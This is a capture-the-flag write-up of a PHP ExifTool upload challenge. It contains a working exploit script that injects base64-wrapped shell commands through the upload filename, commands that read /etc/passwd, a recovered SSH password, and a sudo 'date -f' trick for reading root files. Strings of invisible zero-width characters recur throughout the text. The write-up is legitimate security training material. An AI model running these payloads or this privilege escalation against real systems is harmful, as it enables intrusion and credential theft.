← Back to Writeups
CUSTOMMediumWeb

Чилиец (Chiliets)

XESXOR9/2/20264 min read
#web#custom#medium#filename_command_injection#extension_validation_bypass#base64_wrapped_payload#web_static_dir_exfiltration#png_text_recovery#http_request_forensics#sudo_date_arbitrary_read#cve-2021-22204

Чилиец (Chiliets)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: filename_command_injection, extension_validation_bypass, base64_wrapped_payload, web_static_dir_exfiltration, png_text_recovery, http_request_forensics, sudo_date_arbitrary_read

Summary

Walkthrough of the CUSTOM Web Чилиец (Chiliets). Task: PHP ExifTool image-upload service that interpolates the multipart filename into shell_exec with extension-only validation. Solution: OS command injection via base64-wrapped filename payload, exf

Description

В середине нашей жизненной дороги попал я в мрачный, незнакомый лес, где путь терялся в темном логе

(Russian, the opening of Dante's Inferno — pure flavor, no technical hint.)

A web service on port 29100 presents an "ExifTool" image uploader (Apache + PHP). SSH is exposed on port 29122 (OpenSSH 8.9p1 Ubuntu). The goal is to chain web RCE into SSH access and root to recover a flag split across two files.

Analysis

Recon

  • 29100 — Apache/PHP app titled "Exiftool". A single-page uploader; JS posts a multipart form (field file) to /. The server runs exiftool on the uploaded file and returns JSON {"success":true,"data":"<exiftool output>"}. A benign JPEG returns ExifTool Version Number : 12.40.
  • 29122 — OpenSSH (SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Dead end: CVE-2021-22204 (ExifTool DjVu RCE) — DO NOT waste time here

ExifTool 12.40 is patched (the DjVu eval fix landed in 12.24). A DjVu polyglot was built via the classic HasselbladExif tag technique (bzz + djvumake + exiftool -config) and uploaded. The payload parsed (DjVu Version : 0.24) but produced Warning: Ignored invalid metadata entry(s), and a blind sleep 6 timing test showed no delay → the eval never fired. CVE-2021-22204 is killed by version alone — confirm the version before attempting it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Real vulnerability: OS command injection via the multipart filename

Leaked index.php confirmed the bug:

php
$fileExt = explode('.', $fileName);
$fileActualExt = strtolower(end($fileExt));
$allowed = array('jpg','jpeg','png','gif');
if (in_array($fileActualExt, $allowed)) {
  $fileDestination = 'uploads/' . $fileName;
  move_uploaded_file($fileTmpName, $fileDestination);
  $exiftoolResult = shell_exec("cd uploads; exiftool $fileName");
  echo json_encode(array('success'=>true,'data'=>$exiftoolResult));
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The multipart filename is interpolated unsanitized into shell_exec("cd uploads; exiftool $fileName"). Validation only checks the final extension (explode('.', ...) + end()), so any filename that ends in .jpg but also contains shell metacharacters passes.

Detection oracle: filename $(id)x.jpg returned 0 image files read / 3 files could not be read — the id output expanded into 3 space-separated tokens, becoming 3 exiftool args. Command substitution executes.

Solution

1. Command injection via filename

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Spaces, quotes, and = break the extension validation, so wrap the whole command in base64 and decode it inside the substitution:

filename = $(echo <BASE64_CMD>|base64 -d|sh)x.jpg

The app's exiftool only echoes metadata of the saved file, so reading via extra args fails for output. Instead, the injected command writes output into the web-served static dir /var/www/html/static/ (URL /static/), then we fetch it over HTTP. Blind sleep timing also works for confirmation.

python
#!/usr/bin/env python3
# Command injection via multipart filename on the ExifTool uploader.
import base64, requests
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

URL = "http://62.173.140.174:29100/"
STATIC = "http://62.173.140.174:29100/static/"

def run(cmd, out="o.txt"):
    # write command output into the web-served static dir, then fetch it
    full = f"({cmd}) > /var/www/html/static/{out} 2>&1"
    b64 = base64.b64encode(full.encode()).decode()
    fname = f"$(echo {b64}|base64 -d|sh)x.jpg"
    files = {"file": (fname, b"\xff\xd8\xff\xe0JFIF dummy", "image/jpeg")}
    requests.post(URL, files=files)
    return requests.get(STATIC + out).text

print(run("id"))                  # uid=33(www-data)
print(run("cat /etc/passwd"))     # reveals gustavo:...:/home/gustavo:/bin/sh
print(run("ls -la /home/gustavo"))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Recon as www-data

  • id → uid=33(www-data); inside a container (/.dockerenv, HOSTNAME 69589c8e0abc).
  • /etc/passwd → user gustavo:x:1000:1000::/home/gustavo:/bin/sh.
  • /home/gustavo contained:
    • first_part — 17 bytes, -r-------- owned by gustavo (flag part 1, not readable by www-data).
    • .saved_request — 9118 bytes, world-readable (-rwxrwxrwx), a captured raw HTTP POST that uploaded gustavo.png.

3. Credential recovery from a PNG inside the saved HTTP request

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
# Carve the PNG out of the captured multipart request and render it.
data = run("cat /home/gustavo/.saved_request")  # or fetch the saved bytes
raw = open("saved_request.bin", "rb").read()
start = raw.index(b"\x89PNG")
end = raw.index(b"IEND") + 8
open("gustavo.png", "wb").write(raw[start:end])
# Open gustavo.png — a 2041x221 RGB image with the text: fr1ng4ever

The carved PNG (2041x221 RGB) renders the text fr1ng4ever — gustavo's SSH password.

4. SSH + privilege escalation (GTFOBins date)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
sshpass -p 'fr1ng4ever' ssh -p 29122 gustavo@62.173.140.174
# as gustavo:
cat ~/first_part          # CODEBY{1T_W4S_4_
sudo -l                   # (ALL) NOPASSWD: /usr/bin/date

GTFOBins: sudo /usr/bin/date -f <file> reads any file as root, printing each line as date: invalid date '<line>'. Probe for the second part:

bash
sudo /usr/bin/date -f /root/last_part
# date: invalid date 'REDACTED}'

5. Assemble the flag

first_part CODEBY{1T_W4S_4_ + last_part REDACTED} = CODEBY{REDACTED}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering filename_command_injection, extension_validation_bypass, base64_wrapped_payload, web_static_dir_exfiltration, png_text_recovery, http_request_forensics, sudo_date_arbitrary_read was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-03 • CUSTOM • Чилиец (Chiliets) • Difficulty: Medium